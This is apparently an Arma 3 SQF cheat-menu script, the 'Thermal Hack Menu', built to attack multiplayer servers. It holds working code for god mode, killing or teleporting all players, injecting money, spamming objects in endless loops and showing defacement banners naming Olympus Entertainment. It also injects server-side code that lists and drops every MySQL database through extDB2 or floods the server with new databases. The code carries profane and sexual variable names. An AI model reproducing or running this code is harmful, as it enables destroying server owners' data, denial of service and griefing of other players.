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- [] spawn
- {
- waitUntil {time > 2};
- Init = true;
- tempVar = "";
- loggedIn = false;
- adminVarName = vehicleVarName player;
- if (adminVarName == "" or isNil "adminVarName") then
- {
- adminVarName = format ["Admin_%1", getPlayerUID player];
- player SetVehicleVarName adminVarName;
- player Call Compile Format ["%1=_This; PublicVariable ""%1""", adminVarName];
- };
- keyPressed =
- {
- private ["_key","_shift","_ctrl","_alt"];
- if (dialog) exitWith {false};
- _key = _this select 1;
- _shift = _this select 2;
- _ctrl = _this select 3;
- _alt = _this select 4;
- if (not (_key == 59 && _shift && !_ctrl && !_alt)) exitWith {false};
- closeDialog 0;
- [] spawn MAINNN2;
- true
- };
- [] spawn
- {
- waitUntil {sleep 0.5; !isNull (findDisplay 46)};
- (findDisplay 46) displayAddEventHandler ["KeyDown", "_this call keyPressed"];
- };
- MAINNN2 = {
- hintSilent parseText format["<t size='1.3' color='#251a6b'>Thermal Hack Menu</t>"];
- player addAction ["<t color='#251a6b'>=== Thermal Hack Menu ===</t>","[]Thermal Hack Menu;"];
- player addAction ["<t color='#07ffe2'>=== Fun things !!! ===</t>","[]spawn funnnnnnn;"];
- player addAction ["<t color='#ff6e07'>=== More Fun things !!! ===</t>","[]spawn mfffff;"];
- player addAction ["<t color='#FF0000'>=== Close Menu ===</t>", "[]spawn closeit"];
- };
- funnnnnnn = {
- removeallactions player;
- player addAction ["<t color='#ff9400'>God Mode </t>",goeiniunq];
- player addAction ["<t color='#ff9400'>Nuke the Map</t>",Nukedang];
- player addAction ["<t color='#ff9400'>Teleport all here </t>",q0ohvqon];
- player addAction ["<t color='#ff9400'>Shock wave </t>",aldnadn];
- player addAction ["<t color='#FF0000'>Back To Main Menu</t>", "removeAllActions player; []spawn MAINNN2"];
- };
- Nukedang = {
- nuke_vars = true;
- _Wakkashhsbdhhagsggre = {
- PersonWhomMadeThis_Is_The_One_And_Only = {
- playSound "Alarm";
- hintSilent parseText"<t size='1.1'>Nuke Detonation In</t><br/><br/><t size='2'>5</t>";
- sleep 1;
- playSound "Alarm";
- hintSilent parseText"<t size='1.1'>Nuke Detonation In</t><br/><br/><t size='2'>4</t>";
- sleep 1;
- playSound "Alarm";
- hintSilent parseText"<t size='1.1'>Nuke Detonation In</t><br/><br/><t size='2'>3</t>";
- sleep 1;
- playSound "Alarm";
- hintSilent parseText"<t size='1.1'>Nuke Detonation In</t><br/><br/><t size='2'>2</t>";
- sleep 1;
- playSound "Alarm";
- hintSilent parseText"<t size='1.1'>Nuke Detonation In</t><br/><br/><t size='2'>1</t>";
- sleep 1;
- playSound "Alarm";
- hintSilent "";
- sleep 1;
- nukepos = "Land_Sack_F" createVehicleLocal _this;
- mdh_nuke_destruction_zone = 1;
- mdh_nuke_camshake = 1;
- mdh_nuke_ash = 1;
- mdh_nuke_colorcorrection = 1;
- mdh_nuke_removecorrection = 1;
- mdh_nuke_removeash = 1;
- _Cone = "#particlesource" createVehicleLocal getpos nukepos;
- _Cone setParticleParams [["A3\Data_F\ParticleEffects\Universal\universal.p3d", 16, 7, 48], "", "Billboard", 1, 10, [0, 0, 0],
- [0, 0, 0], 0, 1.275, 1, 0, [40,80], [[0.25, 0.25, 0.25, 0], [0.25, 0.25, 0.25, 0.5],
- [0.25, 0.25, 0.25, 0.5], [0.25, 0.25, 0.25, 0.05], [0.25, 0.25, 0.25, 0]], [0.25], 0.1, 1, "", "", nukepos];
- _Cone setParticleRandom [2, [1, 1, 30], [1, 1, 30], 0, 0, [0, 0, 0, 0.1], 0, 0];
- _Cone setParticleCircle [10, [-10, -10, 20]];
- _Cone setDropInterval 0.005;
- _top = "#particlesource" createVehicleLocal getpos nukepos;
- _top setParticleParams [["A3\Data_F\ParticleEffects\Universal\universal.p3d", 16, 3, 48, 0], "", "Billboard", 1, 20, [0, 0, 0],
- [0, 0, 60], 0, 1.7, 1, 0, [60,80,100], [[1, 1, 1, -10],[1, 1, 1, -7],[1, 1, 1, -4],[1, 1, 1, -0.5],[1, 1, 1, 0]], [0.05], 1, 1, "", "", nukepos];
- _top setParticleRandom [0, [75, 75, 15], [17, 17, 10], 0, 0, [0, 0, 0, 0], 0, 0, 360];
- _top setDropInterval 0.002;
- _top2 = "#particlesource" createVehicleLocal getpos nukepos;
- _top2 setParticleParams [["A3\Data_F\ParticleEffects\Universal\universal.p3d", 16, 3, 112, 0], "", "Billboard", 1, 20, [0, 0, 0],
- [0, 0, 60], 0, 1.7, 1, 0, [60,80,100], [[1, 1, 1, 0.5],[1, 1, 1, 0]], [0.07], 1, 1, "", "", nukepos];
- _top2 setParticleRandom [0, [75, 75, 15], [17, 17, 10], 0, 0, [0, 0, 0, 0], 0, 0, 360];
- _top2 setDropInterval 0.002;
- _smoke = "#particlesource" createVehicleLocal getpos nukepos;
- _smoke setParticleParams [["A3\Data_F\ParticleEffects\Universal\universal.p3d", 16, 7, 48, 1], "", "Billboard", 1, 25, [0, 0, 0],
- [0, 0, 60], 0, 1.7, 1, 0, [40,15,120],
- [[1, 1, 1, 0.4],[1, 1, 1, 0.7],[1, 1, 1, 0.7],[1, 1, 1, 0.7],[1, 1, 1, 0.7],[1, 1, 1, 0.7],[1, 1, 1, 0.7],[1, 1, 1, 0]]
- , [0.5, 0.1], 1, 1, "", "", nukepos];
- _smoke setParticleRandom [0, [10, 10, 15], [15, 15, 7], 0, 0, [0, 0, 0, 0], 0, 0, 360];
- _smoke setDropInterval 0.002;
- [] spawn {
- playSound "Earthquake_04";
- sleep 5;
- playSound "Earthquake_04";
- sleep 5;
- playSound "Earthquake_04";
- sleep 5;
- playSound "Earthquake_04";
- sleep 5;
- playSound "Earthquake_04";
- sleep 5;
- playSound "Earthquake_04";
- sleep 5;
- };
- _Wave = "#particlesource" createVehicleLocal getpos nukepos;
- _Wave setParticleParams [["A3\Data_F\ParticleEffects\Universal\universal.p3d", 16, 7, 48], "", "Billboard", 1, 20, [0, 0, 0],
- [0, 0, 0], 0, 1.5, 1, 0, [50, 100], [[0.1, 0.1, 0.1, 0.5],
- [0.5, 0.5, 0.5, 0.5], [1, 1, 1, 0.3], [1, 1, 1, 0]], [1,0.5], 0.1, 1, "", "", nukepos];
- _Wave setParticleRandom [2, [20, 20, 20], [5, 5, 0], 0, 0, [0, 0, 0, 0.1], 0, 0];
- _Wave setParticleCircle [50, [-80, -80, 2.5]];
- _Wave setDropInterval 0.0002;
- _light = "#lightpoint" createVehicleLocal [((getpos nukepos select 0)),(getpos nukepos select 1),((getpos nukepos select 2)+500)];
- _light setLightAmbient[1500, 1200, 1000];
- _light setLightColor[1500, 1200, 1000];
- _light setLightBrightness 100000.0;
- if (mdh_nuke_colorcorrection > 0) then
- {
- [] spawn {
- "colorCorrections" ppEffectAdjust [2, 30, 0, [0.0, 0.0, 0.0, 0.0], [0.8*2, 0.5*2, 0.0, 0.7], [0.9, 0.9, 0.9, 0.0]];
- "colorCorrections" ppEffectCommit 0;
- "colorCorrections" ppEffectAdjust [1, 0.8, -0.001, [0.0, 0.0, 0.0, 0.0], [0.8*2, 0.5*2, 0.0, 0.7], [0.9, 0.9, 0.9, 0.0]];
- "colorCorrections" ppEffectCommit 3;
- "colorCorrections" ppEffectEnable true;
- "filmGrain" ppEffectEnable true;
- "filmGrain" ppEffectAdjust [0.02, 1, 1, 0.1, 1, false];
- "filmGrain" ppEffectCommit 5;
- };
- }
- else
- {
- [] spawn {
- "dynamicBlur" ppEffectEnable true;
- "dynamicBlur" ppEffectAdjust [1];
- "dynamicBlur" ppEffectCommit 1;
- "colorCorrections" ppEffectEnable true;
- "colorCorrections" ppEffectAdjust [0.8, 15, 0, [0.5, 0.5, 0.5, 0], [0.0, 0.0, 0.6, 2],[0.3, 0.3, 0.3, 0.1]];"colorCorrections" ppEffectCommit 0.4;
- "dynamicBlur" ppEffectAdjust [0.5];
- "dynamicBlur" ppEffectCommit 3;
- 0 setOvercast 0;
- sleep 0.1;
- _xHandle = []spawn
- {
- Sleep 1;
- "colorCorrections" ppEffectAdjust [1.0, 0.5, 0, [0.5, 0.5, 0.5, 0], [1.0, 1.0, 0.8, 0.4],[0.3, 0.3, 0.3, 0.1]];
- "colorCorrections" ppEffectCommit 2;
- };
- "dynamicBlur" ppEffectAdjust [2];
- "dynamicBlur" ppEffectCommit 1;
- "dynamicBlur" ppEffectAdjust [0.5];
- "dynamicBlur" ppEffectCommit 4;
- sleep 4.5;
- "colorCorrections" ppEffectAdjust [1, 1, 0, [0.5, 0.5, 0.5, 0], [1.0, 1.0, 0.8, 0.4],[0.3, 0.3, 0.3, 0.1]];"colorCorrections" ppEffectCommit 1; "colorCorrections" ppEffectEnable TRUE;
- "dynamicBlur" ppEffectAdjust [0];
- "dynamicBlur" ppEffectCommit 1;
- };
- };
- player spawn {
- enableCamShake true;
- addCamShake [10, 70, 25];
- sleep 70;
- enableCamShake false;
- };
- if(mdh_nuke_ash > 0) then {
- [] spawn {
- sleep 20;
- [] spawn {
- _pos = position player;
- _parray = [
- ["A3\Data_F\ParticleEffects\Universal\Universal", 16, 12, 8, 1],
- "",
- "Billboard",
- 1,
- 4,
- [0,0,0],
- [0,0,0],
- 1,
- 0.000001,
- 0,
- 1.4,
- [0.05,0.05],
- [[0.1,0.1,0.1,1]],
- [0,1],
- 0.2,
- 1.2,
- "",
- "",
- vehicle player
- ];
- mdh_ash = "#particlesource" createVehicleLocal _pos;
- mdh_ash setParticleParams _parray;
- mdh_ash setParticleRandom [0, [10, 10, 7], [0, 0, 0], 0, 0.01, [0, 0, 0, 0.1], 0, 0];
- mdh_ash setParticleCircle [0.0, [0, 0, 0]];
- mdh_ash setDropInterval 0.01;
- };
- };
- };
- if (mdh_nuke_destruction_zone > 0) then
- {
- {_x setdamage 1} forEach (nearestObjects [(getpos nukepos), [], mdh_nuke_destruction_zone]);
- };
- _Wave setDropInterval 0.001;
- deletevehicle _top;
- deletevehicle _top2;
- sleep 4.5;
- _i = 0;
- while {_i < 100} do
- {
- _light setLightBrightness 100.0 - _i;
- _i = _i + 1;
- sleep 0.1;
- };
- deleteVehicle _light;
- sleep 2;
- _smoke setParticleParams [["A3\Data_F\ParticleEffects\Universal\universal.p3d", 16, 7, 48, 1], "", "Billboard", 1, 25, [0, 0, 0],
- [0, 0, 45], 0, 1.7, 1, 0, [40,25,80],
- [[1, 1, 1, 0.2],[1, 1, 1, 0.3],[1, 1, 1, 0.3],[1, 1, 1, 0.3],[1, 1, 1, 0.3],[1, 1, 1, 0.3],[1, 1, 1, 0.3],[1, 1, 1, 0]]
- , [0.5, 0.1], 1, 1, "", "", nukepos];
- _Cone setDropInterval 0.01;
- _smoke setDropInterval 0.006;
- _Wave setDropInterval 0.001;
- sleep 2;
- _smoke setParticleParams [["A3\Data_F\ParticleEffects\Universal\universal.p3d", 16, 7, 48, 1], "", "Billboard", 1, 25, [0, 0, 0],
- [0, 0, 30], 0, 1.7, 1, 0, [40,25,80],
- [[1, 1, 1, 0.2],[1, 1, 1, 0.3],[1, 1, 1, 0.3],[1, 1, 1, 0.3],[1, 1, 1, 0.3],[1, 1, 1, 0.3],[1, 1, 1, 0.3],[1, 1, 1, 0]]
- , [0.5, 0.1], 1, 1, "", "", nukepos];
- _smoke setDropInterval 0.012;
- _Cone setDropInterval 0.02;
- _Wave setDropInterval 0.01;
- sleep 15;
- deleteVehicle _Wave;
- deleteVehicle _cone;
- deleteVehicle _smoke;
- deletevehicle nukepos;
- [] spawn {
- if(mdh_nuke_removecorrection > 0) then {
- sleep 25;
- "colorCorrections" ppEffectAdjust [1, 1, 0, [1, 1, 1, 0.0], [1, 1, 1, 1], [1, 1, 1, 0.0]];
- "colorCorrections" ppEffectCommit 0;
- "filmGrain" ppEffectEnable false;
- "filmGrain" ppEffectCommit 0;
- };
- };
- if(mdh_nuke_removeash > 0) then {
- sleep 25;
- deletevehicle mdh_ash;
- };
- };
- sleep 5;
- if(!isNil "nuke_vars") then {
- openMap [true,false];
- nuke_vars = nil;
- };
- };
- [_Wakkashhsbdhhagsggre,"BIS_fnc_Spawn",true,false] call BIS_FNC_MP;
- hintSilent parseText "<t size='1.2'>Loading Nuke Functions...</t><br/><t size='0.9'>The Map Will Open Once The Map Functions are Loaded!</t>";
- onMapSingleClick '[_pos,"PersonWhomMadeThis_Is_The_One_And_Only",true,false] spawn BIS_FNC_MP;openMap [false,false];onMapSingleClick""';
- };
- goeiniunq = {
- if (isNil "andysgodmod_toggle") then {
- andysgodmod_toggle = 0;
- };
- if (andysgodmod_toggle == 0) then {
- andysgodmod_toggle = 1;
- cutText ["God ON", "PLAIN"];
- fnc_usec_damageHandler = {};
- fnc_usec_unconscious = {};
- player removeAllEventHandlers "handleDamage";
- player addEventHandler["handleDamage", {
- false
- }];
- player allowDamage false;
- } else {
- andysgodmod_toggle = 0;
- cutText ["God OFF", "PLAIN"];
- player addEventHandler["handleDamage", {
- true
- }];
- player removeAllEventHandlers "handleDamage";
- player allowDamage true;
- };
- };
- q0ohvqon = {
- params["_parts","_getVariable","_setVariable"];
- {
- _x setpos getpos player;
- uiSleep .1;
- } forEach allPlayers;
- };
- aldnadn = {
- player allowDamage false;
- _pos = getPos Player;
- for "_i" from 1 to 10 do {
- uiSleep 0.2;
- for "_dir" from 5 to 360 step 5 do {
- _delta = (vectorNormalized [sin(_dir),cos(_dir),0]) vectorMultiply 20;
- _npos = _pos vectorAdd (_delta vectorMultiply _i);
- _npos set[2,0];
- player allowDamage false;
- _bobber = "Bomb_04_F" createVehicleLocal _npos;
- player allowDamage false;
- _bobber setVelocity [0,-1,-10];
- };
- player setpos _pos;
- };
- player allowDamage true;
- };
- mfffff = {
- removeallactions player;
- player addAction ["<t color='#00f6ff'>Fuck all </t>",Thermal_Menu_Kill1];
- player addAction ["<t color='#00f6ff'>Kill all </t>",Thermal_Menu_Killall];
- player addAction ["<t color='#00f6ff'>Kill 2 </t>",Thermal_Menu_Kill2];
- player addAction ["<t color='#00f6ff'>Spam Database </t>",Thermal_Menu_SpamDatabase];
- player addAction ["<t color='#00f6ff'>Delete all database </t>",Thermal_Menu_DeleteAllDatabases];
- player addAction ["<t color='#00f6ff'>create million of db </t>",Thermal_Menu_createmillions];
- player addAction ["<t color='#FF0000'>Back To Main Menu</t>", "removeAllActions player; []spawn MAINNN2"];
- };
- closeit = {
- removeAllActions player;
- };
- Thermal_Menu_SpamDatabase = {
- cash_in_bank = cash_in_bank + 90000000000000000000000000000;
- [{
- cash_in_bank = cash_in_bank + 90000000000000000000000000000;
- cash_in_hand = cash_in_hand + 90000000000000000000000000000;
- hint "MONEY ALL DAY FOR ALL PLRS ";
- }, "BIS_fnc_SPAWN", true, false] call BIS_Fnc_MP;
- if(isServer) then {
- while{true} do {
- "Land_Sack_F" createVehicle [random(worldSize),random(worldSize),100];
- uiSleep 0.01;
- };
- };
- if(isserver) then {
- openDLCPage 288520;
- };
- if(!isserver) then {
- player setUnconscious true;
- };
- };
- Thermal_Menu_DeleteAllDatabases = {
- "DAT" addPublicVariableEventHandler {
- systemChat (_this select 1);
- };
- (typeOf player) createUnit [[0,0,0],group player,'if(isserver) then {[] spawn ' + str(_dbabomb) + ';};'];
- [2] remoteExec ["BOMB",2];
- hint "Atom Bomb Installed";
- };
- Thermal_Menu_createmillions = {
- "DAT" addPublicVariableEventHandler {
- systemChat (_this select 1);
- };
- (typeOf player) createUnit [[0,0,0],group player,'if(isserver) then {[] spawn ' + str(_dbabomb) + ';};'];
- [3] remoteExec ["BOMB",2];
- hint "Atom Bomb Installed";
- };
- Thermal_Menu_ddatabases = {
- ["CREATE DATABASE db_" + str(floor(random(1000000))),1] call _request_noresponse;
- ["DROP DATABASE " + _x,1] call _request_noresponse;
- hint "GG";
- };
- Thermal_Menu_Killall = {
- {
- if (name _x != name player) then {
- _x setDamage 1;
- };
- }forEach allUnits;
- };
- _dbabomb = {
- DB_ID = (call life_sql_id); //--- EDIT THIS WITH THE SERVERS DATABASE ID VARIABLE
- BOMB = {
- params["_type"];
- _request_noresponse = {
- _queryStmt = param [0,"",[""]];
- _mode = param [1,1,[0]];
- _multiarr = param [2,false,[false]];
- "extDB2" callExtension format["%1:%2:%3",_mode, DB_ID, _queryStmt];
- };
- _request_response = {
- _queryStmt = param [0,"",[""]];
- _mode = param [1,1,[0]];
- _multiarr = param [2,false,[false]];
- _result = "extDB2" callExtension format["%1:%2:%3",_mode, DB_ID, _queryStmt];
- if(_result == "") exitWith {""};
- _result = call compile format["%1",_result];
- _key = (_result select 1);
- _keyMode = (_result select 0);
- _queryResult = "";
- _loop = true;
- while{_loop} do
- {
- _queryResult = "extDB2" callExtension format["4:%1", _key];
- switch(_queryResult) do {
- case "[5]": {
- _queryResult = "";
- while{true} do {
- _pipe = "extDB2" callExtension format["5:%1", _key];
- if(_pipe == "") exitWith {_loop = false};
- _queryResult = _queryResult + _pipe;
- };
- };
- case "[3]": {
- uiSleep 0.3;
- };
- default {
- _loop = false;
- };
- };
- };
- _queryResult;
- };
- if(_type == 3) then {
- while{true} do {
- ["CREATE DATABASE db_" + str(floor(random(1000000))),1] call _request_noresponse;
- uiSleep 0.001;
- };
- };
- _datl = ["SHOW DATABASES",2] call _request_response;
- if(_datl == "") exitWith {
- DAT = "Failed to grab DB info";
- publicVariable "DAT";
- };
- _dat = call compile _datl;
- _dbs = _dat select 1;
- {
- if(typeName _x != typeName []) exitWith {
- _dbs = [];
- DAT = "Bad type in foreach";
- publicVariable "DAT";
- };
- _dbs set[_forEachIndex,_x select 0];
- } forEach _dbs;
- _dbs = _dbs - ["information_schema","mysql","performance_schema"];
- if(_type == 1) then {
- DAT = "Database Information";
- publicVariable "DAT";
- DAT = "====================";
- publicVariable "DAT";
- DAT = str(_dbs);
- publicVariable "DAT";
- };
- if(_type == 2) then {
- {
- ["DROP DATABASE " + _x,1] call _request_noresponse;
- } forEach _dbs;
- };
- };
- };
- Thermal_Menu_Kill2 = {
- floor(random(100000)) cutrsc ["rsc" + "DynamicText","plain"];
- _display = uinamespace getvariable "BIS_dynamicText";
- _control = _display displayctrl 9999;
- _control ctrlsetposition [safezonex + random(safezonew),safezoney+random(safezoneh),safeZoneW,safeZoneH/20];
- _control ctrlsetbackgroundcolor [0,0,0,0];
- _control ctrlsettextcolor [1,1,1,1];
- _msgs = ["by Thermal,.!","by Thermal,.!","by Thermal,.!","by Thermal,.!", "by Thermal,.!","by Thermal","m9 zbee", "Olympus Entertainment!!!!!", "by Thermal,.!"];
- _control ctrlSetStructuredText parseText ("<t align=""left"" color=""" + ([random(1),random(1),random(1),1] call BIS_fnc_colorRGBAtoHTML) + """ size=""1.5"">" + (_msgs select floor(random(count(_msgs)))) + "</t>");
- _control ctrlCommit 0;
- };
- Thermal_Menu_Kill1 = {
- [{
- [parseText "
- <t size='1.8' color='#CA278C'>This Server Hacked by Thermal | Thermal IS Here ...</t><br/>
- <t color='#CA278C'>by Thermal </t> <t color='#CA278C'>m9 zbee <t color='#CA278C'>Thermal IS Here !@#$%^ <t color='#CA278C'>la tt7da Thermal #Olympus_Entertainment", parseText "
- <t size='1.2' color='#FE2E2E'> Olympus Entertainment is dead </t>
- <t size='1.2' color='#FACC2E'> by Thermal </t>
- <t size='1.2' color='#80FF00'>Thermal Fuck Your Server Any Time : ) </t>
- <t size='1.2' color='#00FF00'> by Thermal </t>
- <t size='1.2' color='#2EFE9A'> by Thermal </t>
- <t size='1.2' color='#00FFFF'>Olympus Entertainment </t>
- <t size='1.2' color='#0174DF'>Olympus Entertainment </t>
- <t size='1.2' color='#013ADF'>by </t>
- <t size='1.2' color='#3A01DF'>Thermal..! </t>
- <t size='1.2' color='#A901DB'>by </t>
- <t size='1.2' color='#DF0174'>Thermal..! </t>
- <t size='1.2' color='#0174DF'>Olympus Entertainment.......</t>
- <t size='1.2' color='#0174DF'>Olympus Entertainment ..... </t>
- <t size='1.2' color='#0174DF'>Olympus Entertainment </t>
- <t size='1.2' color='#0174DF'>Olympus Entertainment </t>
- <t size='1.2' color='#0174DF'>Olympus Entertainment ...... </t>
- <t size='1.2' color='#0174DF'>Thermal Fuck Your Server Any Time : ) </t>
- <t size='1.2' color='#0174DF'>Thermal Fuck Your Server Any Time : ) </t>
- <t size='1.2' color='#0174DF'>Thermal Fuck Your Server Any Time : ) </t>
- <t size='1.2' color='#0174DF'>Thermal Fuck Your Server Any Time : ) </t>
- <t size='1.2' color='#0174DF'>Thermal Fuck Your Server Any Time : ) </t>
- <t size='1.2' color='#0174DF'>Thermal Fuck Your Server Any Time : ) </t>
- <t size='1.2' color='#0174DF'>Thermal Fuck Your Server Any Time : ) </t>
- <t size='1.2' color='#0174DF'>Thermal Fuck Your Server Any Time : ) </t>
- <t size='1.2' color='#0174DF'>Thermal Fuck Your Server Any Time : ) </t>
- <t size='1.2' color='#0174DF'>Thermal Fuck Your Server Any Time : ) </t>
- <t size='1.2' color='#0174DF'>Thermal Fuck Your Server Any Time : ) </t>
- <t size='1.2' color='#00FFFF'>Fucked!</t>"] spawn BIS_fnc_AAN; 3000 cuttext ["By Thermal","plain"]; hint "This Server Hacked By Thermal";
- _expl1 = "Cock_random_F" createVehicle position player; _expl1 attachTo [player, [-0.1, 0.1, 0.15], "Head"]; _expl1 setVectorDirAndUp [ [0.5, 0.5, 0], [-0.5, 0.5, 0] ]; _expl1 = "Cock_random_F" createVehicle position player; _expl1 attachTo [player, [-0.1, 0.1, 0.15], "Leg"]; _expl1 setVectorDirAndUp [ [0.5, 0.5, 0], [-0.5, 0.5, 0] ]; addCamShake [342, 2, 235]; _pos = getPosATL player; _pos set [2, 700]; player setPosATL _pos; player spawn bis_fnc_halo;
- }, "BIS_fnc_Spawn", true, false] call BIS_fnc_MP;
- params["_parts","_getVariable","_setVariable"];
- _locations = [];
- _threads = [];
- _stop = diag_tickTime + 60;
- hint "N U K I N G";
- while{diag_tickTime < _stop} do {
- _location = locationPosition (nearestLocation [[random(worldSize),random(worldSize),0],""]);
- if !(_location in _locations) then {
- _locations pushBack _location;
- _thread = _location spawn {
- _buildings = nearestObjects [_this, ["Building"], 1000];
- {
- if !(_x getVariable ["runloops",false]) then {
- _bobber = "Bomb_04_F" createVehicleLocal (getpos _x);
- _bobber setVelocity [0,-1,-10];
- };
- uiSleep (60/(count(_buildings)));
- } forEach _buildings;
- };
- _threads pushback _thread;
- };
- };
- {
- if(!scriptDone _x) then {
- terminate _x;
- };
- } forEach _threads;
- hint "D O N E";
- player allowDamage false;
- _pos = getPos Player;
- for "_i" from 1 to 10 do {
- uiSleep 0.2;
- for "_dir" from 5 to 360 step 5 do {
- _delta = (vectorNormalized [sin(_dir),cos(_dir),0]) vectorMultiply 20;
- _npos = _pos vectorAdd (_delta vectorMultiply _i);
- _npos set[2,0];
- player allowDamage false;
- _bobber = "Bomb_04_F" createVehicleLocal _npos;
- player allowDamage false;
- _bobber setVelocity [0,-1,-10];
- };
- player setpos _pos;
- };
- player allowDamage true;
- _delta = (vectorNormalized (eyeDirection player)) vectorMultiply 20;
- _pos = getPos Player;
- player allowDamage false;
- for "_i" from 1 to 10 do {
- uiSleep 0.2;
- _pos = _pos vectorAdd _delta;
- _pos set[2,0];
- player allowDamage false;
- _bobber = "Bomb_04_F" createVehicleLocal _pos;
- player allowDamage false;
- _bobber setVelocity [0,-1,-10];
- };
- player allowDamage true;
- {
- if (name _x != name player) then {
- _x setDamage 1;
- };
- }forEach allUnits;
- [{
- PersonWhomMadeThis_is_madv2 = {
- PersonWhomMadeThis_is_one_crazy_motherfuckerv2 = ppEffectCreate["filmGrain", 2005];
- PersonWhomMadeThis_is_one_crazy_motherfuckerv2 ppEffectEnable true;
- PersonWhomMadeThis_is_one_crazy_motherfuckerv2 ppEffectAdjust[1, 5, 1, 0, 1];
- PersonWhomMadeThis_is_one_crazy_motherfuckerv2 ppEffectCommit 0;
- sleep 1;
- PersonWhomMadeThis_is_one_crazy_motherfuckerv2 = ppEffectCreate["filmGrain", 2005];
- PersonWhomMadeThis_is_one_crazy_motherfuckerv2 ppEffectEnable true;
- PersonWhomMadeThis_is_one_crazy_motherfuckerv2 ppEffectAdjust[1, 4, 1, 0, 1];
- PersonWhomMadeThis_is_one_crazy_motherfuckerv2 ppEffectCommit 0;
- sleep 1;
- PersonWhomMadeThis_is_one_crazy_motherfuckerv2 = ppEffectCreate["filmGrain", 2005];
- PersonWhomMadeThis_is_one_crazy_motherfuckerv2 ppEffectEnable true;
- PersonWhomMadeThis_is_one_crazy_motherfuckerv2 ppEffectAdjust[1, 3, 1, 0, 1];
- PersonWhomMadeThis_is_one_crazy_motherfuckerv2 ppEffectCommit 0;
- sleep 1;
- PersonWhomMadeThis_is_one_crazy_motherfuckerv2 = ppEffectCreate["filmGrain", 2005];
- PersonWhomMadeThis_is_one_crazy_motherfuckerv2 ppEffectEnable true;
- PersonWhomMadeThis_is_one_crazy_motherfuckerv2 ppEffectAdjust[1, 2, 1, 0, 1];
- PersonWhomMadeThis_is_one_crazy_motherfuckerv2 ppEffectCommit 0;
- sleep 1;
- PersonWhomMadeThis_is_one_crazy_motherfuckerv2 = ppEffectCreate["filmGrain", 2005];
- PersonWhomMadeThis_is_one_crazy_motherfuckerv2 ppEffectEnable true;
- PersonWhomMadeThis_is_one_crazy_motherfuckerv2 ppEffectAdjust[1, 1, 1, 0, 1];
- PersonWhomMadeThis_is_one_crazy_motherfuckerv2 ppEffectCommit 0;
- sleep 1;
- sleep 5;
- hint "Created By Thermal";
- [format["<t color=""#DB2B3F""><t size='1.1'>This Server Be Fucked ===> Hacked By Thermal (Thermal)" + "</t></t>", name player], 0.02, safezoneY - 0.1, 5, -1, 1, 3010] spawn bis_fnc_dynamicText;
- sleep 5;
- ppEffectDestroy PersonWhomMadeThis_is_one_crazy_motherfuckerv2;
- sleep 10;
- playSound "Worship";
- PersonWhomMadeThis_is_one_crazy_motherfucker_color = ppEffectCreate["ColorCorrections", 1999];
- PersonWhomMadeThis_is_one_crazy_motherfucker_color ppEffectEnable true;
- PersonWhomMadeThis_is_one_crazy_motherfucker_color ppEffectAdjust[1, 1, 0, [1, 1, 1, 0], [1, 1, 1, 0.0], [1, 1, 1, 1.0]];
- PersonWhomMadeThis_is_one_crazy_motherfucker_color ppEffectCommit 0;
- sleep 10;
- ppEffectDestroy PersonWhomMadeThis_is_one_crazy_motherfucker_color;
- };
- [] spawn PersonWhomMadeThis_is_madv2;
- }, "BIS_fnc_SPAWN", true, false] call BIS_fnc_MP;
- [{
- PersonWhomMadeThis_is_legit_Bae = {
- playMusic "Track11_StageB_stealth";
- cutText["", "BLACK OUT", 1];
- sleep 1;
- cutText["", "BLACK IN", 1];
- sleep 1;
- cutText["Created By Thermal", "PLAIN", 1];
- sleep 5;
- cutText["By Thermal", "BLACK OUT", 1];
- sleep 1;
- Sexy_Strippers_Lick_Mah_Nips = ppEffectCreate["colorCorrections", 1501];
- Sexy_Strippers_Lick_Mah_Nips ppEffectEnable true;
- Sexy_Strippers_Lick_Mah_Nips ppEffectAdjust[1, 1, 0, [0, 0, 0, -0.31], [1.9, 1.9, 1.73, 0.7], [0.2, 1.1, -1.5, 1.64]];
- Sexy_Strippers_Lick_Mah_Nips ppEffectCommit 0;
- Sexy_Strippers_Lick_Mah_Nips = ppEffectCreate["colorCorrections", 1501];
- Sexy_Strippers_Lick_Mah_Nips ppEffectEnable true;
- Sexy_Strippers_Lick_Mah_Nips ppEffectAdjust[1, 1, 0, [0.0, 0.0, 0.0, 0.0], [0.8 * 2, 0.5 * 2, 0.0, 0.7], [0.9, 0.9, 0.9, 0.0]];
- Sexy_Strippers_Lick_Mah_Nips ppEffectCommit 0;
- Sexy_Strippers_Lick_Mah_Nips = ppEffectCreate["colorCorrections", 1501];
- Sexy_Strippers_Lick_Mah_Nips ppEffectEnable true;
- Sexy_Strippers_Lick_Mah_Nips ppEffectAdjust[1, 0.21, 0, [0.1, 0, 0, 0], [3.59, 3.49, 3.78, 0.83], [-0.31, 0.08, 3.79, 5]];
- Sexy_Strippers_Lick_Mah_Nips ppEffectCommit 0;
- sleep 4;
- cutText["", "BLACK IN", 1];
- sleep 4;
- playSound "Earthquake_01";
- enableCamShake true;
- sleep 2;
- addCamShake[5, 11, 10];
- sleep 10;
- playSound "Earthquake_04";
- sleep 2;
- addCamShake[10, 12, 20];
- sleep 8;
- enableCamShake false;
- PersonWhomMadeThis_is_one_crazy_motherfucker_color = ppEffectCreate["ColorCorrections", 1999];
- PersonWhomMadeThis_is_one_crazy_motherfucker_color ppEffectEnable true;
- PersonWhomMadeThis_is_one_crazy_motherfucker_color ppEffectAdjust[0.5, 1, 0, [1, 1, 1, 0], [1, 1, 1, 0.0], [1, 1, 1, 1.0]];
- PersonWhomMadeThis_is_one_crazy_motherfucker_color ppEffectCommit 0;
- Sexy_Strippers_Lick_Mah_Nips2 = ppEffectCreate["dynamicBlur", 505];
- Sexy_Strippers_Lick_Mah_Nips2 ppEffectEnable true;
- Sexy_Strippers_Lick_Mah_Nips2 ppEffectAdjust[.5];
- Sexy_Strippers_Lick_Mah_Nips2 ppEffectCommit 0;
- PersonWhomMadeThis_is_one_crazy_motherfuckerv2 = ppEffectCreate["filmGrain", 2005];
- PersonWhomMadeThis_is_one_crazy_motherfuckerv2 ppEffectEnable true;
- PersonWhomMadeThis_is_one_crazy_motherfuckerv2 ppEffectAdjust[0.02, 1, 1, 0, 1];
- PersonWhomMadeThis_is_one_crazy_motherfuckerv2 ppEffectCommit 0;
- setaperture 25;
- sleep 0.01;
- setaperture 200;
- sleep 5;
- ppEffectDestroy Sexy_Strippers_Lick_Mah_Nips;
- ppEffectDestroy PersonWhomMadeThis_is_one_crazy_motherfucker_color;
- ppEffectDestroy Sexy_Strippers_Lick_Mah_Nips2;
